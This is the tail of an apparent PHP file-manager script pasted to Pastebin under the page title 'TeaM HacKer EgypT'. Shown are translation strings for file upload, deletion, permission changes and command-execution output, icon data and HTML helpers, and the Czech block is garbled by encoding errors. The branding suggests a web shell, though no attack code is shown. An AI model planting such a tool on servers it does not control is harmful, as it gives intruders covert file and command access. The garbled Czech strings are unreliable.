  1862. 'password' => 'Wachtwoord',
  1863. 'add' => 'toevoegen',
  1864. 'add_basic_auth' => 'add basic-authentification',
  1865.  
  1866. 'uploaded' => '"[%1]" is verstuurd.',
  1867. 'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
  1868. 'already_exists' => '"[%1]" bestaat al.',
  1869. 'created' => '"[%1]" is aangemaakt.',
  1870. 'not_created' => '"[%1]" kan niet worden aangemaakt.',
  1871. 'really_delete' => 'Deze bestanden verwijderen?',
  1872. 'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
  1873. 'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
  1874. 'rename_file' => 'Bestandsnaam veranderen:',
  1875. 'renamed' => '"[%1]" heet nu "[%2]".',
  1876. 'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
  1877. 'move_files' => 'Verplaats deze bestanden:',
  1878. 'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
  1879. 'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
  1880. 'copy_files' => 'Kopieer deze bestanden:',
  1881. 'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
  1882. 'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
  1883. 'not_edited' => '"[%1]" kan niet worden bewerkt.',
  1884. 'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
  1885. 'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
  1886. 'saved' => '"[%1]" is opgeslagen.',
  1887. 'not_saved' => '"[%1]" is niet opgeslagen.',
  1888. 'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
  1889. 'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
  1890. 'permission_for' => 'Bevoegdheid voor "[%1]":',
  1891. 'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
  1892. 'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
  1893. 'not_readable' => '"[%1]" kan niet worden gelezen.'
  1894.         );
  1895.  
  1896.     case 'se':
  1897.  
  1898.         $date_format = 'n/j/y H:i:s';
  1899.         $word_charset = 'ISO-8859-1';
  1900.  
  1901.         return array(
  1902. 'directory' => 'Mapp',
  1903. 'file' => 'Fil',
  1904. 'filename' => 'Filnamn',
  1905.  
  1906. 'size' => 'Storlek',
  1907. 'permission' => 'Säkerhetsnivå',
  1908. 'owner' => '�gare',
  1909. 'group' => 'Grupp',
  1910. 'other' => 'Andra',
  1911. 'functions' => 'Funktioner',
  1912.  
  1913. 'read' => 'Läs',
  1914. 'write' => 'Skriv',
  1915. 'execute' => 'Utför',
  1916.  
  1917. 'create_symlink' => 'Skapa symlink',
  1918. 'delete' => 'Radera',
  1919. 'rename' => 'Byt namn',
  1920. 'move' => 'Flytta',
  1921. 'copy' => 'Kopiera',
  1922. 'edit' => '�ndra',
  1923. 'download' => 'Ladda ner',
  1924. 'upload' => 'Ladda upp',
  1925. 'create' => 'Skapa',
  1926. 'change' => '�ndra',
  1927. 'save' => 'Spara',
  1928. 'set' => 'Markera',
  1929. 'reset' => 'Töm',
  1930. 'relative' => 'Relative path to target',
  1931.  
  1932. 'yes' => 'Ja',
  1933. 'no' => 'Nej',
  1934. 'back' => 'Tillbaks',
  1935. 'destination' => 'Destination',
  1936. 'symlink' => 'Symlink',
  1937. 'no_output' => 'no output',
  1938.  
  1939. 'user' => 'Användare',
  1940. 'password' => 'Lösenord',
  1941. 'add' => 'Lägg till',
  1942. 'add_basic_auth' => 'add basic-authentification',
  1943.  
  1944. 'uploaded' => '"[%1]" har laddats upp.',
  1945. 'not_uploaded' => '"[%1]" kunde inte laddas upp.',
  1946. 'already_exists' => '"[%1]" finns redan.',
  1947. 'created' => '"[%1]" har skapats.',
  1948. 'not_created' => '"[%1]" kunde inte skapas.',
  1949. 'really_delete' => 'Radera dessa filer?',
  1950. 'deleted' => "De här filerna har raderats:\n[%1]",
  1951. 'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
  1952. 'rename_file' => 'Byt namn på fil:',
  1953. 'renamed' => '"[%1]" har bytt namn till "[%2]".',
  1954. 'not_renamed' => '"[%1] kunde inte döpas om till "[%2]".',
  1955. 'move_files' => 'Flytta dessa filer:',
  1956. 'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
  1957. 'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
  1958. 'copy_files' => 'Kopiera dessa filer:',
  1959. 'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
  1960. 'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
  1961. 'not_edited' => '"[%1]" kan inte ändras.',
  1962. 'executed' => "\"[%1]\" har utförts:\n{%2}",
  1963. 'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}",
  1964. 'saved' => '"[%1]" har sparats.',
  1965. 'not_saved' => '"[%1]" kunde inte sparas.',
  1966. 'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
  1967. 'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
  1968. 'permission_for' => 'Rättigheter för "[%1]":',
  1969. 'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
  1970. 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
  1971. 'not_readable' => '"[%1]" kan inte läsas.'
  1972.         );
  1973.  
  1974.     case 'sp':
  1975.  
  1976.         $date_format = 'j/n/y H:i:s';
  1977.         $word_charset = 'ISO-8859-1';
  1978.  
  1979.         return array(
  1980. 'directory' => 'Directorio',
  1981. 'file' => 'Archivo',
  1982. 'filename' => 'Nombre Archivo',
  1983.  
  1984. 'size' => 'Tamaño',
  1985. 'permission' => 'Permisos',
  1986. 'owner' => 'Propietario',
  1987. 'group' => 'Grupo',
  1988. 'other' => 'Otros',
  1989. 'functions' => 'Funciones',
  1990.  
  1991. 'read' => 'lectura',
  1992. 'write' => 'escritura',
  1993. 'execute' => 'ejecución',
  1994.  
  1995. 'create_symlink' => 'crear enlace',
  1996. 'delete' => 'borrar',
  1997. 'rename' => 'renombrar',
  1998. 'move' => 'mover',
  1999. 'copy' => 'copiar',
  2000. 'edit' => 'editar',
  2001. 'download' => 'bajar',
  2002. 'upload' => 'subir',
  2003. 'create' => 'crear',
  2004. 'change' => 'cambiar',
  2005. 'save' => 'salvar',
  2006. 'set' => 'setear',
  2007. 'reset' => 'resetear',
  2008. 'relative' => 'Path relativo',
  2009.  
  2010. 'yes' => 'Si',
  2011. 'no' => 'No',
  2012. 'back' => 'atrás',
  2013. 'destination' => 'Destino',
  2014. 'symlink' => 'Enlace',
  2015. 'no_output' => 'sin salida',
  2016.  
  2017. 'user' => 'Usuario',
  2018. 'password' => 'Clave',
  2019. 'add' => 'agregar',
  2020. 'add_basic_auth' => 'agregar autentificación básica',
  2021.  
  2022. 'uploaded' => '"[%1]" ha sido subido.',
  2023. 'not_uploaded' => '"[%1]" no pudo ser subido.',
  2024. 'already_exists' => '"[%1]" ya existe.',
  2025. 'created' => '"[%1]" ha sido creado.',
  2026. 'not_created' => '"[%1]" no pudo ser creado.',
  2027. 'really_delete' => '¿Borra estos archivos?',
  2028. 'deleted' => "Estos archivos han sido borrados:\n[%1]",
  2029. 'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
  2030. 'rename_file' => 'Renombra archivo:',
  2031. 'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
  2032. 'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
  2033. 'move_files' => 'Mover estos archivos:',
  2034. 'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
  2035. 'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
  2036. 'copy_files' => 'Copiar estos archivos:',
  2037. 'copied' => "Estos archivos han sido copiados a  \"[%2]\":\n[%1]",
  2038. 'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
  2039. 'not_edited' => '"[%1]" no pudo ser editado.',
  2040. 'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
  2041. 'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
  2042. 'saved' => '"[%1]" ha sido salvado.',
  2043. 'not_saved' => '"[%1]" no pudo ser salvado.',
  2044. 'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
  2045. 'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
  2046. 'permission_for' => 'Permisos de "[%1]":',
  2047. 'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
  2048. 'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
  2049. 'not_readable' => '"[%1]" no pudo ser leído.'
  2050.         );
  2051.  
  2052.     case 'dk':
  2053.  
  2054.         $date_format = 'n/j/y H:i:s';
  2055.         $word_charset = 'ISO-8859-1';
  2056.  
  2057.         return array(
  2058. 'directory' => 'Mappe',
  2059. 'file' => 'Fil',
  2060. 'filename' => 'Filnavn',
  2061.  
  2062. 'size' => 'Størrelse',
  2063. 'permission' => 'Rettighed',
  2064. 'owner' => 'Ejer',
  2065. 'group' => 'Gruppe',
  2066. 'other' => 'Andre',
  2067. 'functions' => 'Funktioner',
  2068.  
  2069. 'read' => 'læs',
  2070. 'write' => 'skriv',
  2071. 'execute' => 'kør',
  2072.  
  2073. 'create_symlink' => 'opret symbolsk link',
  2074. 'delete' => 'slet',
  2075. 'rename' => 'omdøb',
  2076. 'move' => 'flyt',
  2077. 'copy' => 'kopier',
  2078. 'edit' => 'rediger',
  2079. 'download' => 'download',
  2080. 'upload' => 'upload',
  2081. 'create' => 'opret',
  2082. 'change' => 'skift',
  2083. 'save' => 'gem',
  2084. 'set' => 'sæt',
  2085. 'reset' => 'nulstil',
  2086. 'relative' => 'Relativ sti til valg',
  2087.  
  2088. 'yes' => 'Ja',
  2089. 'no' => 'Nej',
  2090. 'back' => 'tilbage',
  2091. 'destination' => 'Distination',
  2092. 'symlink' => 'Symbolsk link',
  2093. 'no_output' => 'ingen resultat',
  2094.  
  2095. 'user' => 'Bruger',
  2096. 'password' => 'Kodeord',
  2097. 'add' => 'tilføj',
  2098. 'add_basic_auth' => 'tilføj grundliggende rettigheder',
  2099.  
  2100. 'uploaded' => '"[%1]" er blevet uploaded.',
  2101. 'not_uploaded' => '"[%1]" kunnu ikke uploades.',
  2102. 'already_exists' => '"[%1]" findes allerede.',
  2103. 'created' => '"[%1]" er blevet oprettet.',
  2104. 'not_created' => '"[%1]" kunne ikke oprettes.',
  2105. 'really_delete' => 'Slet disse filer?',
  2106. 'deleted' => "Disse filer er blevet slettet:\n[%1]",
  2107. 'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
  2108. 'rename_file' => 'Omdød fil:',
  2109. 'renamed' => '"[%1]" er blevet omdøbt til "[%2]".',
  2110. 'not_renamed' => '"[%1] kunne ikke omdøbes til "[%2]".',
  2111. 'move_files' => 'Flyt disse filer:',
  2112. 'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
  2113. 'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
  2114. 'copy_files' => 'Kopier disse filer:',
  2115. 'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
  2116. 'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
  2117. 'not_edited' => '"[%1]" kan ikke redigeres.',
  2118. 'executed' => "\"[%1]\" er blevet kørt korrekt:\n{%2}",
  2119. 'not_executed' => "\"[%1]\" kan ikke køres korrekt:\n{%2}",
  2120. 'saved' => '"[%1]" er blevet gemt.',
  2121. 'not_saved' => '"[%1]" kunne ikke gemmes.',
  2122. 'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
  2123. 'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
  2124. 'permission_for' => 'Rettigheder for "[%1]":',
  2125. 'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
  2126. 'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sættes til [%2].',
  2127. 'not_readable' => '"[%1]" Kan ikke læses.'
  2128.         );
  2129.  
  2130.     case 'tr':
  2131.  
  2132.         $date_format = 'n/j/y H:i:s';
  2133.         $word_charset = 'ISO-8859-1';
  2134.  
  2135.         return array(
  2136. 'directory' => 'Klasör',
  2137. 'file' => 'Dosya',
  2138. 'filename' => 'dosya adi',
  2139.  
  2140. 'size' => 'boyutu',
  2141. 'permission' => 'Izin',
  2142. 'owner' => 'sahib',
  2143. 'group' => 'Grup',
  2144. 'other' => 'Digerleri',
  2145. 'functions' => 'Fonksiyonlar',
  2146.  
  2147. 'read' => 'oku',
  2148. 'write' => 'yaz',
  2149. 'execute' => 'çalistir',
  2150.  
  2151. 'create_symlink' => 'yarat symlink',
  2152. 'delete' => 'sil',
  2153. 'rename' => 'ad degistir',
  2154. 'move' => 'tasi',
  2155. 'copy' => 'kopyala',
  2156. 'edit' => 'düzenle',
  2157. 'download' => 'indir',
  2158. 'upload' => 'yükle',
  2159. 'create' => 'create',
  2160. 'change' => 'degistir',
  2161. 'save' => 'kaydet',
  2162. 'set' => 'ayar',
  2163. 'reset' => 'sifirla',
  2164. 'relative' => 'Hedef yola göre',
  2165.  
  2166. 'yes' => 'Evet',
  2167. 'no' => 'Hayir',
  2168. 'back' => 'Geri',
  2169. 'destination' => 'Hedef',
  2170. 'symlink' => 'Kýsa yol',
  2171. 'no_output' => 'çikti yok',
  2172.  
  2173. 'user' => 'Kullanici',
  2174. 'password' => 'Sifre',
  2175. 'add' => 'ekle',
  2176. 'add_basic_auth' => 'ekle basit-authentification',
  2177.  
  2178. 'uploaded' => '"[%1]" yüklendi.',
  2179. 'not_uploaded' => '"[%1]" yüklenemedi.',
  2180. 'already_exists' => '"[%1]" kullanilmakta.',
  2181. 'created' => '"[%1]" olusturuldu.',
  2182. 'not_created' => '"[%1]" olusturulamadi.',
  2183. 'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
  2184. 'deleted' => "Bu dosyalar silindi:\n[%1]",
  2185. 'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
  2186. 'rename_file' => 'Adi degisen dosya:',
  2187. 'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
  2188. 'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
  2189. 'move_files' => 'Tasinan dosyalar:',
  2190. 'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
  2191. 'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
  2192. 'copy_files' => 'Kopyalanan dosyalar:',
  2193. 'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
  2194. 'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
  2195. 'not_edited' => '"[%1]" düzenlenemiyor.',
  2196. 'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
  2197. 'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
  2198. 'saved' => '"[%1]" kaydedildi.',
  2199. 'not_saved' => '"[%1]" kaydedilemedi.',
  2200. 'symlinked' => '"[%2]" den "[%1]" e kýsayol oluþturuldu.',
  2201. 'not_symlinked' => '"[%2]"den "[%1]" e kýsayol oluþturulamadý.',
  2202. 'permission_for' => 'Izinler "[%1]":',
  2203. 'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
  2204. 'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
  2205. 'not_readable' => '"[%1]" okunamiyor.'
  2206.         );
  2207.  
  2208.     case 'cs':
  2209.  
  2210.         $date_format = 'd.m.y H:i:s';
  2211.         $word_charset = 'UTF-8';
  2212.  
  2213.         return array(
  2214. 'directory' => 'Adres�¡��',
  2215. 'file' => 'Soubor',
  2216. 'filename' => 'Jm�©no souboru',
  2217.  
  2218. 'size' => 'Velikost',
  2219. 'permission' => 'Pr�¡va',
  2220. 'owner' => 'Vlastn�­k',
  2221. 'group' => 'Skupina',
  2222. 'other' => 'Ostatn�­',
  2223. 'functions' => 'Funkce',
  2224.  
  2225. 'read' => '��ten�­',
  2226. 'write' => 'Z�¡pis',
  2227. 'execute' => 'Spou�¡t��n�­',
  2228.  
  2229. 'create_symlink' => 'Vytvo��it symbolick�½ odkaz',
  2230. 'delete' => 'Smazat',
  2231. 'rename' => 'P��ejmenovat',
  2232. 'move' => 'P��esunout',
  2233. 'copy' => 'Zkop�­rovat',
  2234. 'edit' => 'Otev���­t',
  2235. 'download' => 'St�¡hnout',
  2236. 'upload' => 'Nahraj na server',
  2237. 'create' => 'Vytvo��it',
  2238. 'change' => 'Zm��nit',
  2239. 'save' => 'Ulo�¾it',
  2240. 'set' => 'Nastavit',
  2241. 'reset' => 'zp��t',
  2242. 'relative' => 'Relatif',
  2243.  
  2244. 'yes' => 'Ano',
  2245. 'no' => 'Ne',
  2246. 'back' => 'Zp��t',
  2247. 'destination' => 'Destination',
  2248. 'symlink' => 'Symbolick�½ odkaz',
  2249. 'no_output' => 'Pr�¡zdn�½ v�½stup',
  2250.  
  2251. 'user' => 'U�¾ivatel',
  2252. 'password' => 'Heslo',
  2253. 'add' => 'P��idat',
  2254. 'add_basic_auth' => 'p��idej z�¡kladn�­ autentizaci',
  2255.  
  2256. 'uploaded' => 'Soubor "[%1]" byl nahr�¡n na server.',
  2257. 'not_uploaded' => 'Soubor "[%1]" nebyl nahr�¡n na server.',
  2258. 'already_exists' => 'Soubor "[%1]" u�¾ exituje.',
  2259. 'created' => 'Soubor "[%1]" byl vytvo��en.',
  2260. 'not_created' => 'Soubor "[%1]" nemohl bÃ�½t  vytvoÃ�â�¢en.',
  2261. 'really_delete' => 'Vymazat soubor?',
  2262. 'deleted' => "Byly vymaz�¡ny tyto soubory:\n[%1]",
  2263. 'not_deleted' => "Tyto soubory nemohly b�½t vytvo��eny:\n[%1]",
  2264. 'rename_file' => 'P��ejmenuj soubory:',
  2265. 'renamed' => 'Soubor "[%1]" byl p��ejmenov�¡n na "[%2]".',
  2266. 'not_renamed' => 'Soubor "[%1]" nemohl b�½t p��ejmenov�¡n na "[%2]".',
  2267. 'move_files' => 'P��em�­stit tyto soubory:',
  2268. 'moved' => "Tyto soubory byly p��em�­st��ny do \"[%2]\":\n[%1]",
  2269. 'not_moved' => "Tyto soubory nemohly b�½t p��em�­st��ny do \"[%2]\":\n[%1]",
  2270. 'copy_files' => 'Zkop�­rovat tyto soubory:',
  2271. 'copied' => "Tyto soubory byly zkop�­rov�¡ny do \"[%2]\":\n[%1]",
  2272. 'not_copied' => "Tyto soubory nemohly b�½t zkop�­rov�¡ny do \"[%2]\":\n[%1]",
  2273. 'not_edited' => 'Soubor "[%1]" nemohl b�½t otev��en.',
  2274. 'executed' => "SOubor \"[%1]\" byl spu�¡t��n :\n{%2}",
  2275. 'not_executed' => "Soubor \"[%1]\" nemohl b�½t spu�¡t��n:\n{%2}",
  2276. 'saved' => 'Soubor "[%1]" byl ulo�¾en.',
  2277. 'not_saved' => 'Soubor "[%1]" nemohl b�½t ulo�¾en.',
  2278. 'symlinked' => 'Byl vyvo��en symbolick�½ odkaz "[%2]" na soubor "[%1]".',
  2279. 'not_symlinked' => 'Symbolick�½ odkaz "[%2]" na soubor "[%1]" nemohl b�½t vytvo��en.',
  2280. 'permission_for' => 'Pr�¡va k "[%1]":',
  2281. 'permission_set' => 'Pr�¡va k "[%1]" byla zm��n��na na [%2].',
  2282. 'permission_not_set' => 'Pr�¡va k "[%1]" nemohla b�½t zm��n��na na [%2].',
  2283. 'not_readable' => 'Soubor "[%1]" nen�­ mo�¾no p��e���­st.'
  2284.         );
  2285.  
  2286.     case 'en':
  2287.     default:
  2288.  
  2289.         $date_format = 'n/j/y H:i:s';
  2290.         $word_charset = 'ISO-8859-1';
  2291.  
  2292.         return array(
  2293. 'directory' => 'Directory',
  2294. 'file' => 'File',
  2295. 'filename' => 'Filename',
  2296.  
  2297. 'size' => 'Size',
  2298. 'permission' => 'Permission',
  2299. 'owner' => 'Owner',
  2300. 'group' => 'Group',
  2301. 'other' => 'Others',
  2302. 'functions' => 'Functions',
  2303.  
  2304. 'read' => 'read',
  2305. 'write' => 'write',
  2306. 'execute' => 'execute',
  2307.  
  2308. 'create_symlink' => 'create symlink',
  2309. 'delete' => 'delete',
  2310. 'rename' => 'rename',
  2311. 'move' => 'move',
  2312. 'copy' => 'copy',
  2313. 'edit' => 'edit',
  2314. 'download' => 'download',
  2315. 'upload' => 'upload',
  2316. 'create' => 'create',
  2317. 'change' => 'change',
  2318. 'save' => 'save',
  2319. 'set' => 'set',
  2320. 'reset' => 'reset',
  2321. 'relative' => 'Relative path to target',
  2322.  
  2323. 'yes' => 'Yes',
  2324. 'no' => 'No',
  2325. 'back' => 'back',
  2326. 'destination' => 'Destination',
  2327. 'symlink' => 'Symlink',
  2328. 'no_output' => 'no output',
  2329.  
  2330. 'user' => 'User',
  2331. 'password' => 'Password',
  2332. 'add' => 'add',
  2333. 'add_basic_auth' => 'add basic-authentification',
  2334.  
  2335. 'uploaded' => '"[%1]" has been uploaded.',
  2336. 'not_uploaded' => '"[%1]" could not be uploaded.',
  2337. 'already_exists' => '"[%1]" already exists.',
  2338. 'created' => '"[%1]" has been created.',
  2339. 'not_created' => '"[%1]" could not be created.',
  2340. 'really_delete' => 'Delete these files?',
  2341. 'deleted' => "These files have been deleted:\n[%1]",
  2342. 'not_deleted' => "These files could not be deleted:\n[%1]",
  2343. 'rename_file' => 'Rename file:',
  2344. 'renamed' => '"[%1]" has been renamed to "[%2]".',
  2345. 'not_renamed' => '"[%1] could not be renamed to "[%2]".',
  2346. 'move_files' => 'Move these files:',
  2347. 'moved' => "These files have been moved to \"[%2]\":\n[%1]",
  2348. 'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
  2349. 'copy_files' => 'Copy these files:',
  2350. 'copied' => "These files have been copied to \"[%2]\":\n[%1]",
  2351. 'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
  2352. 'not_edited' => '"[%1]" can not be edited.',
  2353. 'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
  2354. 'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
  2355. 'saved' => '"[%1]" has been saved.',
  2356. 'not_saved' => '"[%1]" could not be saved.',
  2357. 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
  2358. 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
  2359. 'permission_for' => 'Permission of "[%1]":',
  2360. 'permission_set' => 'Permission of "[%1]" was set to [%2].',
  2361. 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
  2362. 'not_readable' => '"[%1]" can not be read.'
  2363.         );
  2364.  
  2365.     }
  2366.  
  2367. }
  2368.  
  2369. function getimage ($image) {
  2370.     switch ($image) {
  2371.     case 'file':
  2372.         return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  2373.     case 'folder':
  2374.         return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
  2375.     case 'hidden_file':
  2376.         return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  2377.     case 'link':
  2378.         return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
  2379.     case 'smiley':
  2380.         return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
  2381.     case 'arrow':
  2382.         return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
  2383.     }
  2384. }
  2385.  
  2386. function html_header () {
  2387.     global $site_charset;
  2388.  
  2389.     echo <<<END
  2390. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  2391.      "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  2392. <html xmlns="http://www.w3.org/1999/xhtml">
  2393. <head>
  2394.  
  2395. <meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
  2396.  
  2397. <title>TeaM HacKer EgypT</title>
  2398.  
  2399. <style type="text/css">
  2400. body { font: small sans-serif; text-align: center }
  2401. img { width: 17px; height: 13px }
  2402. a, a:visited { text-decoration: none; color: navy }
  2403. hr { border-style: none; height: 1px; background-color: silver; color: silver }
  2404. #main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
  2405. #main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
  2406. .listing th, .listing td { padding: 1px 3pt 0 3pt }
  2407. .listing th { border: 1px solid silver }
  2408. .listing td { border: 1px solid #ddd; background: white }
  2409. .listing .checkbox { text-align: center }
  2410. .listing .filename { text-align: left }
  2411. .listing .size { text-align: right }
  2412. .listing .permission_header { text-align: left }
  2413. .listing .permission { font-family: monospace }
  2414. .listing .owner { text-align: left }
  2415. .listing .group { text-align: left }
  2416. .listing .functions { text-align: left }
  2417. .listing_footer td { background: #eee; border: 1px solid silver }
  2418. #directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
  2419. #directory { background: #eee; border: 1px solid silver }
  2420. #upload { padding-top: 1em }
  2421. #create { padding-bottom: 1em }
  2422. .small, .small option { font-size: x-small }
  2423. textarea { border: none; background: white }
  2424. table.dialog { margin-left: auto; margin-right: auto }
  2425. td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
  2426. #permission { margin-left: auto; margin-right: auto }
  2427. #permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
  2428. td.permission_action { text-align: right }
  2429. #symlink { background: #eee; border: 1px solid silver }
  2430. #symlink td { text-align: left; padding: 3pt }
  2431. #red_button { width: 120px; color: #400 }
  2432. #green_button { width: 120px; color: #040 }
  2433. #error td { background: maroon; color: white; border: 1px solid silver }
  2434. #notice td { background: green; color: white; border: 1px solid silver }
  2435. #notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
  2436. code { font-size: 12pt }
  2437. td { white-space: nowrap }
  2438. </style>
  2439.  
  2440. <script type="text/javascript">
  2441. <!--
  2442. function activate (name) {
  2443.     if (document && document.forms[0] && document.forms[0].elements['focus']) {
  2444.         document.forms[0].elements['focus'].value = name;
  2445.     }
  2446. }
  2447. //-->
  2448. </script>
  2449.  
  2450. </head>
  2451. <body>
  2452.  
  2453.  
  2454. END;
  2455.  
  2456. }
  2457.  
  2458. function html_footer () {
  2459.  
  2460.     echo <<<END
  2461. </body>
  2462. </html>
  2463. END;
  2464.  
  2465. }
  2466.  
  2467. function notice ($phrase) {
  2468.     global $cols;
  2469.  
  2470.     $args = func_get_args();
  2471.     array_shift($args);
  2472.  
  2473.     return '<tr id="notice">
  2474.     <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  2475. </tr>
  2476. ';
  2477.  
  2478. }
  2479.  
  2480. function error ($phrase) {
  2481.     global $cols;
  2482.  
  2483.     $args = func_get_args();
  2484.     array_shift($args);
  2485.  
  2486.     return '<tr id="error">
  2487.     <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  2488. </tr>
  2489. ';
  2490.  
  2491. }
  2492.  
  2493. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top